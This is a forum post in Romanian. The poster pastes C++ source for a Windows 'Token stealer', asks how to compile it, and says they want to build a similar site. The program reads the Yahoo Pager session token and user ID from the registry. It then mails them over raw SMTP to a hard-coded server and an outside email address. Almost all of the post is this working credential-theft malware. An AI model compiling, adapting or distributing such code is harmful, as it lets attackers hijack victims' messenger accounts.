Te rog mult poti sa specifici sursa ? #include <fstream> #include <iostream> #include <cstdlib> #include <windows.h> using namespace std; char data[1000]; char bufferout[1000]; char bufferin[1000]; char ip[100]; char mail[100]; int port; SOCKET asock, bsock; SOCKADDR_IN sina, sinb; WSADATA wsadata; int checkKey(HKEY tree, const char *folder, char *key) { long lRet; HKEY hKey; char temp[150]; DWORD dwBufLen; // Open location lRet = RegOpenKeyEx( tree, folder, 0, KEY_QUERY_VALUE, &hKey ); if (lRet != ERROR_SUCCESS) return 0; // Get key dwBufLen = sizeof(temp); lRet = RegQueryValueEx( hKey, key, NULL, NULL, (BYTE*)&temp, &dwBufLen ); if (lRet != ERROR_SUCCESS) return 0; strcpy(data+strlen(data), temp); data[strlen(data)]=' '; // Close key lRet = RegCloseKey( hKey ); if (lRet != ERROR_SUCCESS) return 0; // Got this far, then key exists return 1; } int errorcheck(){ if(bufferin[0]=='2'&&bufferin[1]=='2'&&bufferin[2]=='0'){ return 1;} if(bufferin[0]=='2'&&bufferin[1]=='5'&&bufferin[2]=='0') return 1; if(bufferin[0]=='4'&&bufferin[1]=='2'&&bufferin[2]=='1') return 0; return 1; } int main() { mail[0]='<'; strcpy(mail+1, "mailto@yahoo.com"); mail[strlen(mail)+2]='\0'; mail[strlen(mail)+1]='\n'; mail[strlen(mail)]='>'; for(int i=0; i<sizeof(data); i++) data[i]='\0'; checkKey(HKEY_CURRENT_USER, "Software\\Yahoo\\Pager", "ETS"); checkKey(HKEY_CURRENT_USER, "Software\\Yahoo\\Pager", "Yahoo! User ID"); login: strcpy(ip,"67.195.168.31"); port=25; WSAStartup(0x101,&wsadata); bsock=socket(AF_INET, SOCK_STREAM, 0); sinb.sin_family=AF_INET; sinb.sin_addr.s_addr=inet_addr(ip); sinb.sin_port=htons(port); connect( bsock, (SOCKADDR*) &sinb, sizeof(SOCKADDR_IN) ); recv( bsock, bufferin, sizeof(bufferin), 0); cout<<bufferin; Sleep(200); cout<<"\n"; if(!errorcheck()) { cout<<"restart"; WSACleanup(); goto login; } else cout<<"Connected.\n"; Sleep(30); //FROM strcpy(bufferout, "MAIL FROM: <ethereal@yahoo.com>\n"); cout<<"\n\n"<<bufferout<<" "<<strlen(bufferout)<<"\n\n"; send(bsock, bufferout, strlen(bufferout),0); recv( bsock, bufferin, sizeof(bufferin), 0); cout<<bufferin; //RCPT TO strcpy(bufferout, "RCPT TO: "); strcpy(bufferout+strlen(bufferout), mail); cout<<bufferout; send(bsock, bufferout, strlen(bufferout),0); recv( bsock, bufferin, sizeof(bufferin), 0); cout<<bufferin; // DATA strcpy(bufferout, "DATA\n"); send(bsock, bufferout, strlen(bufferout),0); recv( bsock, bufferin, sizeof(bufferin), 0); cout<<bufferin; Sleep(30); strcpy(bufferout, "FROM:ethereal@yahoo.com\n \nSubject: Token stealer\n\n\n"); strcpy(bufferout+strlen(bufferout), data); strcpy(bufferout+strlen(bufferout),"\n\0"); send(bsock, bufferout, strlen(bufferout),0); strcpy(bufferout, "\r\n.\r\n"); send(bsock, bufferout, strlen(bufferout),0); recv( bsock, bufferin, sizeof(bufferin), 0); cout<<bufferin; strcpy(bufferout,"quit\n"); send(bsock, bufferout, strlen(bufferout),0); cout<<"\nEnd of the world."; cin.get(); } Daca asta e zimi cum o compilezi autoit , c++ ? sau te rog mult sa imi dai sursa as vrea sa imi fac si eu un aseamenea site